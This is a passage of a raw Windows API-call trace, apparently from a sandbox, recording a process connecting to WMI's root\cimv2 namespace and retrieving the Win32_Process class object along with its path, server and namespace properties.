pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.828] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf76e10) returned 0x0 [0084.828] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf76e10, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf28f80) returned 0x0 [0084.896] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf96420) returned 0x0 [0084.896] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96420, pProxy=0x1bf28f80, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0084.896] WbemLocator:IUnknown:Release (This=0x1bf96420) returned 0x1 [0084.896] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf96460) returned 0x0 [0084.896] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf96420) returned 0x0 [0084.896] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96420, pProxy=0x1bf28f80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0084.896] WbemLocator:IUnknown:Release (This=0x1bf96420) returned 0x2 [0084.897] WbemLocator:IUnknown:Release (This=0x1bf96460) returned 0x1 [0084.897] CoTaskMemFree (pv=0x11dd030) [0084.897] WbemLocator:IUnknown:AddRef (This=0x1bf28f80) returned 0x2 [0084.897] WbemLocator:IUnknown:Release (This=0x1bf76e10) returned 0x0 [0084.897] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0084.897] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0084.897] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf96430) returned 0x0 [0084.898] WbemLocator:IRpcOptions:Query (in: This=0x1bf96430, pPrx=0x1bf76d70, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0084.898] WbemLocator:IUnknown:Release (This=0x1bf96430) returned 0x2 [0084.898] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0084.898] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0084.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf28f80, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf28f80) returned 0x0 [0084.898] WbemLocator:IUnknown:Release (This=0x1bf28f80) returned 0x2 [0084.898] SysStringLen (param_1=0x0) returned 0x0 [0084.898] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bc40, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0084.898] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0084.898] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.898] WbemDefPath:IWbemPath:GetText (in: This=0x1c0303b0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0084.898] WbemDefPath:IWbemPath:GetText (in: This=0x1c0303b0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0084.899] IWbemServices:GetObject (in: This=0x1bf28f80, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1c029b20, ppCallResult=0x0) returned 0x0 [0084.902] IWbemClassObject:Get (in: This=0x1c029b20, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0084.902] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0084.902] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0084.902] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0084.903] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0084.903] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0084.903] IUnknown:Release (This=0x111f638) returned 0x1 [0084.907] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf76e10) returned 0x0 [0084.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76e10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0084.907] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76e10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf3bb80) returned 0x0 [0084.907] WbemDefPath:IUnknown:Release (This=0x1bf76e10) returned 0x0 [0084.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf3bb80) returned 0x0 [0084.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0084.908] WbemDefPath:IUnknown:AddRef (This=0x1bf3bb80) returned 0x3 [0084.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0084.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0084.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf76e30) returned 0x0 [0084.908] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76e30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.908] WbemDefPath:IUnknown:Release (This=0x1bf76e30) returned 0x3 [0084.908] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0084.908] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0084.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0084.908] WbemDefPath:IUnknown:Release (This=0x1bf3bb80) returned 0x2 [0084.908] WbemDefPath:IUnknown:Release (This=0x1bf3bb80) returned 0x1 [0084.908] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0084.908] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0084.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3bb80) returned 0x0 [0084.908] WbemDefPath:IUnknown:AddRef (This=0x1bf3bb80) returned 0x3 [0084.908] WbemDefPath:IUnknown:Release (This=0x1bf3bb80) returned 0x2 [0084.908] WbemDefPath:IWbemPath:SetText (This=0x1bf3bb80, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0084.909] IWbemClassObject:Get (in: This=0x1c029b20, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0084.909] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0084.909] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0084.909] IWbemClassObject:Get (in: This=0x1c029b20, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0084.909] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0084.909] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0084.909] IWbemClassObject:Get (in: This=0x1c029b20, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0084.910] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0084.910] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0084.910] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0084.910] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0084.910] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0084.910] IUnknown:Release (This=0x111f638) returned 0x1 [0084.912] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf76af0) returned 0x0 [0084.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76af0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0084.912] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76af0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3bac0) returned 0x0 [0084.912] WbemDefPath:IUnknown:Release (This=0x1bf76af0) returned 0x0 [0084.913] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3bac0) returned 0x0 [0084.913] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0084.913] WbemDefPath:IUnknown:AddRef (This=0x1bf3bac0) returned 0x3 [0084.913] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0084.913] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0084.913] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf76a10) returned 0x0 [0084.913] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76a10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.913] WbemDefPath:IUnknown:Release (This=0x1bf76a10) returned 0x3 [0084.913] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0084.913] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0084.913] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0084.914] WbemDefPath:IUnknown:Release (This=0x1bf3bac0) returned 0x2 [0084.914] WbemDefPath:IUnknown:Release (This=0x1bf3bac0) returned 0x1 [0084.914] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0084.914] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0084.914] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3bac0) returned 0x0 [0084.914] WbemDefPath:IUnknown:AddRef (This=0x1bf3bac0) returned 0x3 [0084.914] WbemDefPath:IUnknown:Release (This=0x1bf3bac0) returned 0x2 [0084.914] WbemDefPath:IWbemPath:SetText (This=0x1bf3bac0, uMode=0x4, pszPath="") returned 0x0 [0084.914] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0084.914] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0084.914] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0084.914] IUnknown:Release (This=0x111f638) returned 0x1 [0084.916] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf76af0) returned 0x0 [0084.916] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76af0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0084.916] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76af0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3ba00) returned 0x0 [0084.916] WbemDefPath:IUnknown:Release (This=0x1bf76af0) returned 0x0 [0084.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3ba00) returned 0x0 [0084.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0084.917] WbemDefPath:IUnknown:AddRef (This=0x1bf3ba00) returned 0x3 [0084.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0084.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0084.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf768d0) returned 0x0 [0084.917] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf768d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.917] WbemDefPath:IUnknown:Release (This=0x1bf768d0) returned 0x3 [0084.917] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0084.917] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0084.917] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 